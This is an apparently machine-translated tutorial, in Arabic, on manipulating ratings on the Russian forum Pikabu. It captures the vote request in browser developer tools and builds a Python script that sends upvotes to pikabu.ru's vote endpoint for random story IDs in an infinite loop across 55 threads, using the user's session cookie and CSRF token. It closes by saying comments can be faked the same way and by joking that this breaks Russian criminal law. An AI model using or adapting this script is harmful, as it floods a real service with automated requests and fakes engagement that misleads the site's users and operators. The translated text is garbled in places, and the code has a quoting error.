مرحبا أود التحدث عن مشكلة عدم حصانة البريد العشوائي في منتدى Pikabu.
أعتقد أن المنتدى ليس هو الأفضل ، لذلك أختبر كل شيء فيه.
ما هي النقطة؟
تكمن مشكلة عدم الحصانة في زيادة النشاط وعدد التقييمات والتعليقات لأدنى وقت باستخدام برنامج نصي Python.
أرني!
تشغيل البرنامج النصي في غضون 24 ساعة:

أعتقد أنني تحرير HTML؟ و لا!
كيف فعلت ذلك؟
سهل جدا!
أولاً ، قم بإنشاء ملف .py:

بعد ذلك ، دعنا نستورد الوحدات التي سنقدم بها طلبات لاتخاذ إجراءات ، وكذلك وحدة نمطية متعددة مؤشرات ترابط البرنامج النصي لدينا:
import requests from threading import Thread
لنقم الآن بإنشاء وظيفة مع حلقة لا نهائية ترسل طلباتنا:
def spam(): while True: req = requests.post('')
ولكن كيف تعرف بيانات الطلب؟
افتح FireFox ، انتقل إلى Pikabu.
اختيار أي موضوع. تحوم فوق السهم لأعلى:

الآن اضغط على تركيبة المفاتيح: cntr + shift + i.
ظهر شريط أدوات المطور على الشاشة:
للحفاظ على رؤية مستخدمي المنتدى المكلفين - اضطررت إلى قطع سمة AdBlock (أوم):

دعنا نذهب إلى علامة التبويب "الشبكة".
الآن نرى جميع الطلبات الصادرة في هذا المتصفح.
انقر على سهم "تقييم الموضوع" وانظر بسرعة في لوحة الاستعلام.
اضغط على زر "الطريقة" حتى يكون الطلب الأول هو طلب من النوع "POST":

من بين الاستعلامات الأولى ، ابحث عن هذا واحد:

انقر بزر الماوس الأيمن فوقه ، وحوم الماوس فوق الزر نسخ ، وحدد نسخ بيانات POST. بعد ذلك ، أدخل البيانات في الاستعلام بهذه الطريقة:
req = requests.post('https://pikabu.ru/ajax/vote_story.php', data = { 'story_id':story, 'vote':'1' }, )
ولكن بعد ذلك سوف نقوم بتقييم نفس المشاركة!
لإصلاح ذلك ، أضف الوحدة النمطية "العشوائية" إلى الوحدات النمطية المستوردة بالفعل باستخدام الكود:
import random
وإضافة الخط إلى حلقة بينما:
story = random.randint(1000000, 6865568)
دعنا نستمر في إنشاء طلب! إليك ما قمنا به بالفعل:
import requests from threading import Thread import random def spam(): while True: story = random.randint(1000000, 6865568) req = requests.post('https://pikabu.ru/ajax/vote_story.php', data = { 'story_id':story, 'vote':'1' }, )
أضف إلى الطلب الشيء الأكثر أهمية - الرؤوس. دعنا نعود إلى FireFox ، فقط انقر بزر الماوس الأيمن على الطلب ، واختر "نسخ" ولكن هذه المرة - "طلب رؤوس".
بنفس الطريقة ، من خلال علامات النقطتين والاقتباس ، أدخلها في الكود:
import requests from threading import Thread import random def spam(): while True: story = random.randint(1000000, 6865568) req = requests.post('https://pikabu.ru/ajax/vote_story.php', data = { 'story_id':str(story), 'vote':'1' }, headers = { 'Host: 'pikabu.ru', 'User-Agent': ' ', 'Accept': 'application/json, text/javascript, */*; q=0.01', 'Accept-Language': 'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Accept-Encoding': 'gzip, deflate, br', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 'X-Csrf-Token': ' ', 'X-Requested-With': 'XMLHttpRequest', 'Content-Length': '23', 'Connection': 'keep-alive', 'Referer': 'https://pikabu.ru/', 'Cookie': ' ' })
في حقل "بياناتك" ، أدخل القيم الخاصة بك.
عرض حالة الطلب:
print(req)
إذا تم عرض "Responce <200>" ، فسيتم إرسال الطلب وتقييم الموضوع.
بعد ذلك ، سنجعل البرنامج النصي أسرع قليلاً (55 مرة بالضبط).
إنشاء الخيوط لطلباتنا:
for i in range(55): thr = Thread(target = spam) thr.start()
حسنا ، هذا كل شيء! يمكنك الجري.
وهنا هو الكود كله:
import requests from threading import Thread import random def spam(): while True: story = random.randint(1000000, 6865568) req = requests.post('https://pikabu.ru/ajax/vote_story.php', data = { 'story_id':str(story), 'vote':'1' }, headers = { 'Host: 'pikabu.ru', 'User-Agent': ' ', 'Accept': 'application/json, text/javascript, */*; q=0.01', 'Accept-Language': 'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Accept-Encoding': 'gzip, deflate, br', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 'X-Csrf-Token': ' ', 'X-Requested-With': 'XMLHttpRequest', 'Content-Length': '23', 'Connection': 'keep-alive', 'Referer': 'https://pikabu.ru/', 'Cookie': ' ' }) print(req) for i in range(55): thr = Thread(target = spam) thr.start()
بنفس الطريقة تتم الغش التعليقات. لن أشرح ذلك بالتفصيل ، فقط ضع الكود:
حسنًا ، هذا كل شيء. يمكنك اقتحام المشاركات والتعليقات.
حظا سعيدا
حب هبر.
الإجراءات المذكورة أعلاه قانونية تمامًا ، لا تنتهك أكثر من مادة واحدة من القانون الجنائي للاتحاد الروسي في 10/02/2019.